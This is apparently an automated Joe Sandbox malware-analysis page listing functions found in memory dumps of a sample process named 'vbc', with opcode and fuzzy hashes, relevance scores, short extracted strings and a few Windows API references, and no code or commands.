Opcode ID: 42a810c8f11992d14fdae8a89879cf62a2584aa33fa2829a637683a5e43bfbc3
Instruction ID: 3ed5de41e1b45aad1aa1ae1f644fb51a8452edf123b930bafc6fda2f8dd9946f
Opcode Fuzzy Hash: 42a810c8f11992d14fdae8a89879cf62a2584aa33fa2829a637683a5e43bfbc3
Instruction Fuzzy Hash: A0510EB1E05219DFDB04CFA5D980AEEFBB2BF89311F20812AE815B7254D7345A42CF65

Uniqueness

Uniqueness Score: -1.00%

Function 09F7B9D0 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e25fd495581534d43978a6a7afadf8e0b65296565f2f3b46426e84f75e26ac04
Instruction ID: a38a2aa03d55ac0b61bd6106fe48cbaf0576e397304e178b31a90aed314e1619
Opcode Fuzzy Hash: e25fd495581534d43978a6a7afadf8e0b65296565f2f3b46426e84f75e26ac04
Instruction Fuzzy Hash: 0D511F71E06219DFDB04CFA5D980AEEFBB2BF89311F20812AE815B7254D7345A42CF65

Uniqueness

Uniqueness Score: -1.00%

Function 09F79008 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 282efa6018f3304f7d0b2ab631380b1648a3b60d065331146f0bef80a6a599b1
Instruction ID: 471a5ecd13bfee86c5ccd7ccada34c8376e3027f59c6e4ed1a2803d30693f690
Opcode Fuzzy Hash: 282efa6018f3304f7d0b2ab631380b1648a3b60d065331146f0bef80a6a599b1
Instruction Fuzzy Hash: 05510274E052099FCB08CFA9D944AAEFBB2FF89310F14812AE529B7354DB709942CF54

Uniqueness

Uniqueness Score: -1.00%

Function 050632C0 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d0a7815f9360fcec9c6a239fcc269721c21964e69a50c238a5c17c358e8077
Instruction ID: fe1084d7a4cfae75d62047a542e2082ca4c2086d6a145c29b58974f1868dc258
Opcode Fuzzy Hash: 64d0a7815f9360fcec9c6a239fcc269721c21964e69a50c238a5c17c358e8077
Instruction Fuzzy Hash: E3311775E003188BDB18CFAAD9447DEBBB2FF89310F14C1AAD409AB264DB755985CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05060428 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f0b61e49b336ecf94a8913e2fd78052223a8d352f46ddec4ac351884dd1d48b
Instruction ID: dfeb0554854c891be6a7f3563e598c344e3ad11d3d73e666412ab30ab75bf1bf
Opcode Fuzzy Hash: 7f0b61e49b336ecf94a8913e2fd78052223a8d352f46ddec4ac351884dd1d48b
Instruction Fuzzy Hash: B5212C71E416199BEB18CF6BDC44A9EBBF3BFC9200F08C476C408A6218EB3459468E15

Uniqueness

Uniqueness Score: -1.00%

Function 05060448 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 686cf18372c9a5ef0d764de7c55cc8f30309cb140c56fd52c1e6277cde3b2ba9
Instruction ID: f5a9196255eb977a92472f249c65d2baf69d4944e1581ba4cfa2bc1c9eb9b036
Opcode Fuzzy Hash: 686cf18372c9a5ef0d764de7c55cc8f30309cb140c56fd52c1e6277cde3b2ba9
Instruction Fuzzy Hash: FE11FC71E416199BEB18CFABE84469EFBF7BFC8200F04C076D918A6218EB3415418E15

Uniqueness

Uniqueness Score: -1.00%

Function 08EE14DA Relevance: 10.3, Strings: 8, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|A, xrefs: 08EE170D
DA, xrefs: 08EE18C7
|A, xrefs: 08EE14E6
|A, xrefs: 08EE151D
|A, xrefs: 08EE1701
|A, xrefs: 08EE1511
,A, xrefs: 08EE1813
\A, xrefs: 08EE193E

Memory Dump Source

Source File: 00000002.00000002.333401110.0000000008EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8ee0000_vbc.jbxd

Similarity

API ID:
String ID: ,A$DA$\A$|A$|A$|A$|A$|A
API String ID: 0-93360417
Opcode ID: 372caf88542b17fb3baf7903a93568a0e3d36a2733db0f69bb23db92c56d6637
Instruction ID: 13d62bb89be37be443352a844fd35aff0c99435176b7c3fe4bddb00fab6aecc9
Opcode Fuzzy Hash: 372caf88542b17fb3baf7903a93568a0e3d36a2733db0f69bb23db92c56d6637
Instruction Fuzzy Hash: 33C118397002449FDB159B74C490A7FB7A6AF8960AF10446EEA07CB3A1CF75DC46CB52

Uniqueness

Uniqueness Score: -1.00%

Function 08EE16D4 Relevance: 5.2, Strings: 4, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

DA, xrefs: 08EE18C7
|A, xrefs: 08EE1701
,A, xrefs: 08EE1813
\A, xrefs: 08EE193E

Memory Dump Source

Source File: 00000002.00000002.333401110.0000000008EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8ee0000_vbc.jbxd

Similarity

API ID:
String ID: ,A$DA$\A$|A
API String ID: 0-422082585
Opcode ID: 94359d2ae03521c62f61ded16d1ff8fd74c3113ddbeec155e966eb6eca025a00
Instruction ID: 89bc6a90da9e6a847edcbb45d41e74d35ff120362aea2af3e86284857b061f79
Opcode Fuzzy Hash: 94359d2ae03521c62f61ded16d1ff8fd74c3113ddbeec155e966eb6eca025a00
Instruction Fuzzy Hash: 6E51C5797003419FD71597648890B7B76ABAF8D70AF10546EFA038B3A2CFB0DC818762

Uniqueness

Uniqueness Score: -1.00%

Function 08EE3790 Relevance: 4.3, Strings: 3, Instructions: 562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H,Y, xrefs: 08EE3C0E
H,Y, xrefs: 08EE3BB5
H,Y, xrefs: 08EE3BE8

Memory Dump Source

Source File: 00000002.00000002.333401110.0000000008EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8ee0000_vbc.jbxd

Similarity

API ID:
String ID: H,Y$H,Y$H,Y
API String ID: 0-91532349
Opcode ID: 1621ea9f4f3d2e1796edb5fb9422ee860822a36f63f7fae930284d6c88577b07
Instruction ID: 3b1a37026b95acc5b5e3ca23e20d0e0258cc8e0c18105c5e16db3870bb39dda1
Opcode Fuzzy Hash: 1621ea9f4f3d2e1796edb5fb9422ee860822a36f63f7fae930284d6c88577b07
Instruction Fuzzy Hash: 58221875B102049FCB04DFA9C994EAEBBF6EF88704F158099E506EB3A5CB71EC458B50

Uniqueness

Uniqueness Score: -1.00%

Function 09F79270 Relevance: 3.8, Strings: 3, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I]a8, xrefs: 09F79356
F_E, xrefs: 09F792F4
F_E, xrefs: 09F792ED

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: I]a8$F_E$F_E
API String ID: 0-2543856848
Opcode ID: 7f3d9594758c94447bb0747dbd81f5d5a6fa3a00021efcbf80bf6f11f7b1dd45
Instruction ID: 91e8a5ad3a8c05dc86feadca9394e4717a168dc41ccb8b1d42294ea3a5ee9376
Opcode Fuzzy Hash: 7f3d9594758c94447bb0747dbd81f5d5a6fa3a00021efcbf80bf6f11f7b1dd45
Instruction Fuzzy Hash: 504127B5D05208DBCB08CFAAD5846EDFBF6BB89350F14902BE405B7294DB745986CF28

Uniqueness

Uniqueness Score: -1.00%

Function 09F79261 Relevance: 3.8, Strings: 3, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I]a8, xrefs: 09F79356
F_E, xrefs: 09F792F4
F_E, xrefs: 09F792ED

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: I]a8$F_E$F_E
API String ID: 0-2543856848
Opcode ID: dba258d8ee3688be920a9e86dc5a14264e50acd3895ac67923f0eb9545e7145c
Instruction ID: d753a654270b0fb9fd626fc26a3e41c6459f2206ae8817c94e48c15a4d6c69e7
Opcode Fuzzy Hash: dba258d8ee3688be920a9e86dc5a14264e50acd3895ac67923f0eb9545e7145c
Instruction Fuzzy Hash: 953127B5D05208DBCB08CFAAD5446EDFBF2BB89350F14902AD405B7264DB745986CF28

Uniqueness

Uniqueness Score: -1.00%

Function 09F50D98 Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

gdf, xrefs: 09F50EBC
<#7`, xrefs: 09F50DB2

Memory Dump Source

Source File: 00000002.00000002.336267218.0000000009F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f50000_vbc.jbxd

Similarity

API ID:
String ID: <#7`$gdf
API String ID: 0-2150879871
Opcode ID: ae676e8d81a5764caba20aac7bfd4dabe02943b1c761273ad65a0d7c5574cee1
Instruction ID: 5e634da1f3804750f07faa77ef97d780ef4bad75ee6eb8e8feb44bf47b5ed564
Opcode Fuzzy Hash: ae676e8d81a5764caba20aac7bfd4dabe02943b1c761273ad65a0d7c5574cee1
Instruction Fuzzy Hash: D6315074E05219CFDB68CF65D95079EF7B2EB85340F18D4A6D60EA3254DF3099458F02

Uniqueness

Uniqueness Score: -1.00%

Function 09F50D8F Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

gdf, xrefs: 09F50EBC
<#7`, xrefs: 09F50DB2

Memory Dump Source

Source File: 00000002.00000002.336267218.0000000009F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f50000_vbc.jbxd

Similarity

API ID:
String ID: <#7`$gdf
API String ID: 0-2150879871
Opcode ID: 1d275d953a56572194f11ea49f7883c15d92f44372ebd8e2d3f7c295f3e83a9b
Instruction ID: e684d7e6aee2e40c6f392c65c2419e80a78080eacf0cf33766d7ff23aedbdc0d
Opcode Fuzzy Hash: 1d275d953a56572194f11ea49f7883c15d92f44372ebd8e2d3f7c295f3e83a9b
Instruction Fuzzy Hash: ED315E75E05219CFDB68CF65D94079EF7B2EB85340F18D4AADA0EA3254DB309A458F02

Uniqueness

Uniqueness Score: -1.00%

Function 09F50D56 Relevance: 2.6, Strings: 2, Instructions: 92COMMON

Download Yara Rule

Strings

gdf, xrefs: 09F50EBC
<#7`, xrefs: 09F50DB2

Memory Dump Source

Source File: 00000002.00000002.336267218.0000000009F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f50000_vbc.jbxd

Similarity

API ID:
String ID: <#7`$gdf
API String ID: 0-2150879871
Opcode ID: 70de2d0082f8b11a53cf5e77f0881f82693905461746d840739fa495d191ef94
Instruction ID: 94679792948fa91f1d65f5d027be37cb40c2c8184d223d76495c3bca7097da6c
Opcode Fuzzy Hash: 70de2d0082f8b11a53cf5e77f0881f82693905461746d840739fa495d191ef94
Instruction Fuzzy Hash: B7315C75E05219CFDB68CF65D94079EF7B2EB85340F18D4AADA0EA3214DF30AA418F02

Uniqueness

Uniqueness Score: -1.00%

Function 09F78570 Relevance: 2.6, Strings: 2, Instructions: 84COMMON

Download Yara Rule

Strings

Ze, xrefs: 09F78587
Ze, xrefs: 09F785A5

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: Ze$Ze
API String ID: 0-1841474713
Opcode ID: 58f82d6083d44eea817cfbd65032e390d6c18ebddd5ea8d27184242b33821c79
Instruction ID: a7dbb50529fbadbf4133de22170f7c9d992198c8787fca5b8155cf5faa73eea4
Opcode Fuzzy Hash: 58f82d6083d44eea817cfbd65032e390d6c18ebddd5ea8d27184242b33821c79
Instruction Fuzzy Hash: CA21A031B082B45FD7149764989073EBBB7EBC57A8F144166D509CB348CF719C0683E1

Uniqueness

Uniqueness Score: -1.00%

Function 050BB431 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,050BB3FE,?,?,?,?,?), ref: 050BB4BF

Memory Dump Source

Source File: 00000002.00000002.325940853.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50b0000_vbc.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a2572a3c0740faf58d99ee3e6ebf2d3fc1e57ed5bf32b2afe3bb6927a590b5ff
Instruction ID: 12531b475269b108eb0eb990c5ed28f576c7ab0deaf9a08a3ac289f9ba964648
Opcode Fuzzy Hash: a2572a3c0740faf58d99ee3e6ebf2d3fc1e57ed5bf32b2afe3bb6927a590b5ff
Instruction Fuzzy Hash: 8621F2B5900248AFDB10CFAAD884AEEBFF4FB48324F14851AE855A7310D374AA44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 050BAC90 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,050BB3FE,?,?,?,?,?), ref: 050BB4BF

Memory Dump Source

Source File: 00000002.00000002.325940853.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50b0000_vbc.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 64fc1dd78ccef9fbc2064f42c34bc52da9f9ed2827d1b235aec2d8440104c76a
Instruction ID: 46ffc0be65af4bf9cac213c21e74b2fb3c32e28035703a1156c8e327a1d93572
Opcode Fuzzy Hash: 64fc1dd78ccef9fbc2064f42c34bc52da9f9ed2827d1b235aec2d8440104c76a
Instruction Fuzzy Hash: 4621E6B5901249AFDB10CF99D484ADEBBF4FB48324F14842AE915A7710D774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050B8350 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 050B83B7

Memory Dump Source

Source File: 00000002.00000002.325940853.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50b0000_vbc.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 462f45d48809b5463d8d4ecf298712d5b6d1fe8e8e7b3ae63445e7060f78b8a2
Instruction ID: e62744476de6864fb8c5f0e8cbad2db22c0989f4d3f6390e8e3a710e5a7a08be
Opcode Fuzzy Hash: 462f45d48809b5463d8d4ecf298712d5b6d1fe8e8e7b3ae63445e7060f78b8a2
Instruction Fuzzy Hash: BB1142B1800248CFDB20CF9AD484BDEBFF8EB49324F14841AD558A3200C7B9A980CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 050B8358 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 050B83B7

Memory Dump Source

Source File: 00000002.00000002.325940853.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50b0000_vbc.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a0ed7c1f5cacfbbc133df11d29645117da9630f1ec43f2d0357d186c92acf420
Instruction ID: ebb9981bc0a9b1d196bb034d29672cdea833dc11fdc78bdf2ad7e4ce29b2047c
Opcode Fuzzy Hash: a0ed7c1f5cacfbbc133df11d29645117da9630f1ec43f2d0357d186c92acf420
Instruction Fuzzy Hash: A51112B19002488FDB20CF9AD484BDEBBF8EB48324F14851AD519A3610C7B5A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 08EE1AF8 Relevance: 1.4, Instructions: 1445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.333401110.0000000008EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8ee0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feaf280a062acd5df62f0c4484a2427eac4e3eab09318c4df5d2d2068e293202
Instruction ID: 1e815ea1ed07bcf5663c34550f3261d083111918674bd52df9f0873b5604bcff
Opcode Fuzzy Hash: feaf280a062acd5df62f0c4484a2427eac4e3eab09318c4df5d2d2068e293202
Instruction Fuzzy Hash: D7C27E75B001189FDB14CF64C850EDDB7B6EF88708F1080A9E60AAB3A5DB71AD85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09F7CF70 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

L1m, xrefs: 09F7D05F

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: L1m
API String ID: 0-2090867312
Opcode ID: 44e00172a8c321f15c7dd9894fb098c11862f571fffaa9eeb035a83e63928b39
Instruction ID: 4e7d1f160a3b2e2691ff0225186e63468a703c6524653f63444fe6ab34b9c0e0
Opcode Fuzzy Hash: 44e00172a8c321f15c7dd9894fb098c11862f571fffaa9eeb035a83e63928b39
Instruction Fuzzy Hash: FA41C075E012099FCB04DFA4D9409EEFBB2FF88300F10952AE915B7354E731A952CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0506ABE0 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

;U1`, xrefs: 0506AC2E

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID: ;U1`
API String ID: 0-3891669517
Opcode ID: 0a73fd660b57371991386e570eb9d681a0386113c3c5699f9dd89caf68004a80
Instruction ID: 7efe102a521c623b1fd9630fc4697bef82d5327c2bff1d74460a1613a308aa73
Opcode Fuzzy Hash: 0a73fd660b57371991386e570eb9d681a0386113c3c5699f9dd89caf68004a80
Instruction Fuzzy Hash: 8341E274E05608DFCB04DFA5E9906EDFBB6FF89211F24A42AD406B7254D7346942CB28

Uniqueness

Uniqueness Score: -1.00%

Function 09F7CF80 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

L1m, xrefs: 09F7D05F

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: L1m
API String ID: 0-2090867312
Opcode ID: 22e220e60fd3b6f965abf8efedc020868a319d04e336b2413b5a9aa7c41da32a
Instruction ID: e413d14d58b6abaee54eeeb43b5e516cf726651e10d79a221d808dbfced5d435
Opcode Fuzzy Hash: 22e220e60fd3b6f965abf8efedc020868a319d04e336b2413b5a9aa7c41da32a
Instruction Fuzzy Hash: 9841BF75E012099BCB04CFA5D9809EEFBB2FF88300F10942AE915B7354D731A952CB95

Uniqueness

Uniqueness Score: -1.00%

Function 09F7C810 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

P/m, xrefs: 09F7C8FF

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: P/m
API String ID: 0-1893170221
Opcode ID: 4d057b2671d9141a570831c5205cf92c2e4de4d6122270e9363237dfb464374b
Instruction ID: 8b87af33ba5a425c6332f8a65beefca574831ff66e3db1ec6104b6a83e12cc76
Opcode Fuzzy Hash: 4d057b2671d9141a570831c5205cf92c2e4de4d6122270e9363237dfb464374b
Instruction Fuzzy Hash: C941CD74E002099FCF48DFA8E9409EEBBB2FF89300F14952AE915A7354DB319952CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09F7C820 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

P/m, xrefs: 09F7C8FF

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: P/m
API String ID: 0-1893170221
Opcode ID: d0698acee20bab12f7e71742cac54d9e68f4e7880dd5704795ad3c3af2035049
Instruction ID: 31bb1e37eb723165a148d55150c52957cd4fa3210f083d0bb1fdcf593418f8d4
Opcode Fuzzy Hash: d0698acee20bab12f7e71742cac54d9e68f4e7880dd5704795ad3c3af2035049
Instruction Fuzzy Hash: 9141AD75E002099BDF04DFA8E9409EEFBB2FB89300F10952AE915B7354DB31A952CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09F7AE68 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

D)m, xrefs: 09F7AF58

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: D)m
API String ID: 0-2871115863
Opcode ID: a8b5534395fb9b4dcb0eb53883a407ae866fb37cde6e88d6a92386404204b64d
Instruction ID: 37cf04e92c1cfcceea37f7f0ef2e1da588ca5fc5bc76df1cef9c6a7826072682
Opcode Fuzzy Hash: a8b5534395fb9b4dcb0eb53883a407ae866fb37cde6e88d6a92386404204b64d
Instruction Fuzzy Hash: 9541E574E052089FCB04DFA5E850AEEFBB2FF89300F14902AE824A7350D7309942CF51

Uniqueness

Uniqueness Score: -1.00%

Function 09F7AE78 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

D)m, xrefs: 09F7AF58

Memory Dump Source

Source File: 00000002.00000002.336313264.0000000009F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9f70000_vbc.jbxd

Similarity

API ID:
String ID: D)m
API String ID: 0-2871115863
Opcode ID: 3509f91c7d7c2c56d62f6a52ad6b33a732b485de755a7d8a19c9d6755ba9a7b4
Instruction ID: adb206d933553f21b69fbae94082ceec2ae3d8d9f0eeecc91f99022b8a0f9bed
Opcode Fuzzy Hash: 3509f91c7d7c2c56d62f6a52ad6b33a732b485de755a7d8a19c9d6755ba9a7b4
Instruction Fuzzy Hash: 6D31C3B4E052199FCB04CFA5D840AEEFBB2FF99310F10952AE825A7354D7309942CF55

Uniqueness

Uniqueness Score: -1.00%

Function 05064791 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

zc>, xrefs: 050647DD

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID: zc>
API String ID: 0-368945028
Opcode ID: a2bbe9008656f71d53e2b39b1de8e45bb7caf147cccdfc5df3c909a66afa61c8
Instruction ID: 23471bc95bf2975e703eafca2529ef15406798cc1e101c57dc8efcf185c74c7a
Opcode Fuzzy Hash: a2bbe9008656f71d53e2b39b1de8e45bb7caf147cccdfc5df3c909a66afa61c8
Instruction Fuzzy Hash: A1214CB0E0520AEFDB44CFA5D580AAEFBF2FF89200F14C56AC505A7214D7349A41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05064888 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

`.'c, xrefs: 050648CF

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID: `.'c
API String ID: 0-651149682
Opcode ID: 0a5f1add8796baa8acb4615e812450bff8c1edc072af671f8b0d8d91967d359a
Instruction ID: d44299bf66f6f6a96d97ece7462742414226c5cc792e1aca5d29c63545509cff
Opcode Fuzzy Hash: 0a5f1add8796baa8acb4615e812450bff8c1edc072af671f8b0d8d91967d359a
Instruction Fuzzy Hash: F2211A74E00208AFDB04DFA9D585A5DFBF2FF88200F15C5A6D818A7325D734DA41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05064898 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

`.'c, xrefs: 050648CF

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID: `.'c
API String ID: 0-651149682
Opcode ID: e7e1a3b5a501ddeece7a1f5b06f4f20c5662d3a11f531e2a6d84366b89c611c5
Instruction ID: 75518a3a9dd386d50883225e028c79c8e14cf151c45f1f96370d7929bf1c1cc5
Opcode Fuzzy Hash: e7e1a3b5a501ddeece7a1f5b06f4f20c5662d3a11f531e2a6d84366b89c611c5
Instruction Fuzzy Hash: 2D11F674E04208AFDB44DFA9D584A6EFBF6FF88200F15C5A6D519A7325D7309A41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0506EB08 Relevance: 1.3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

8cg, xrefs: 0506EB1D

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID: 8cg
API String ID: 0-1171973555
Opcode ID: 972916a11ac89219351285179cf0ce9b511ba2e3376f11df9183f06c2c6cb1c4
Instruction ID: 1ca3b3af731c35eaa84ba49ecf9bebccc2b812a36a25cf07620ee82aeb38f637
Opcode Fuzzy Hash: 972916a11ac89219351285179cf0ce9b511ba2e3376f11df9183f06c2c6cb1c4
Instruction Fuzzy Hash: 24015E30300744CBE324AF65D51465BBBE7EFC8319B118A29D54A47B54DF78A84A8BD2

Uniqueness

Uniqueness Score: -1.00%

Function 05060878 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

3x, xrefs: 05060888, 0506088D

Memory Dump Source

Source File: 00000002.00000002.325671909.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5060000_vbc.jbxd

Similarity

API ID:
String ID: 3x
API String ID: 0-1317275810
Opcode ID: c1f6315fd17371b0346f99cc0369c37692b64fd740aec531a307cf32f1a5c294
Instruction ID: 71adde7453867ebd3303671d0e321a3e0c119b39b2361738630dad3625b54d29
Opcode Fuzzy Hash: c1f6315fd17371b0346f99cc0369c37692b64fd740aec531a307cf32f1a5c294
Instruction Fuzzy Hash: A3F03070A462148BDB28DB34D8507EDB373DF95304F0084A984456B360CAB95DC1CF41

Uniqueness

Uniqueness Score: -1.00%

Function 08EE0048 Relevance: .7, Instructions: 674COMMON

Download Yara Rule

Memory Dump Source

